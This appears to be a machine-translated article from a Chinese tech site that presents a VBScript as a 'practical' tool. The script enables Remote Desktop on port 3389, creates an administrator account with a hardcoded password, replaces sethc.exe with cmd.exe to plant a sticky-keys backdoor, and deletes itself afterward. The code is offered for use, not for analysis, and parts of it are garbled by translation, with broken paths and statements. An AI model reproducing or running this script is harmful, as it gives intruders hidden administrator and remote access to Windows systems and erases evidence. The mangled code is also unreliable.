Shulou(Shulou.com)06/03 Report--

This article is about how to use vbs to achieve self-deletion and open the back door of 3389 to create user sticky keys. The editor thinks it is very practical, so share it with you as a reference and follow the editor to have a look.

On error resume next const HKEY_LOCAL_MACHINE = & H80000002 strComputer = "." Set StdOut = WScript.StdOut Set oReg=GetObject ("winmgmts: {impersonationLevel=impersonate}!\\" & _ strComputer & "\ root\ default:StdRegProv") strKeyPath = "SYSTEM\ CurrentControlSet\ Control\ Terminal Server" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath = "SYSTEM\ CurrentControlSet\ Control\ Terminal Server\ Wds\ rdpwd\ Tds\ tcp" oReg.CreateKey HKEY_LOCAL_MACHINE StrKeyPath strKeyPath = "SYSTEM\ CurrentControlSet\ Control\ Terminal Server\ WinStations\ RDP-Tcp" strKeyPath = "SYSTEM\ CurrentControlSet\ Control\ Terminal Server" strValueName = "fDenyTSConnections" dwValue = 0 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath = "SYSTEM\ CurrentControlSet\ Control\ Terminal Server\ Wds\ rdpwd\ Tds\ tcp" strValueName = "PortNumber" dwValue = 3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath = "SYSTEM\ CurrentControlSet\ Control\ Terminal Server\ WinStations\ RDP-Tcp" strValueName = "PortNumber" PortNumber = 3389 dwValue StrValueName,dwValue on error resume next dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments (0): password=Wscript.Arguments (1): Else:username= "wykgif": password= "wykgif123456": end if:set wsnetwork=CreateObject ("WSCRIPT.NETWORK"): os= "WinNT://" & wsnetwork.ComputerName:Set ob=GetObject (os): Set oe=GetObject (os& "/ Administrators,group"): Set od=ob.Create ("user", username): od.SetPassword password:od.SetInfo:Set of=GetObject (os& "/" & username& ") User "): oe.Add (of.ADsPath) 'wscript.echo of.ADsPath On Error Resume Next Dim obj Success Set obj = CreateObject ("WScript.Shell") success = obj.run ("cmd / c takeown / f% SystemRoot%\ system32\ sethc.exe&echo y | cacls% SystemRoot%\ system32\ sethc.exe / G% USERNAME%:F©% SystemRoot%\ system32\ cmd.exe% SystemRoot%\ system32\ acmd.exe©% SystemRoot%\ system32\ sethc.exe% SystemRoot%\ system32\ asethc.exe&del% SystemRoot%\ system32\ sethc.exe&ren% SystemRoot%\ system32\ acmd.exe sethc.exe", 0 True) CreateObject ("Scripting.FileSystemObject") .DeleteFile (WScript.ScriptName) Thank you for reading! On "how to use vbs to achieve self-deletion, open 3389 to create user stickiness key back door" this article shares here, I hope the above content can be of some help to you, so that you can learn more knowledge, if you think the article is good, you can share it out for more people to see it!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.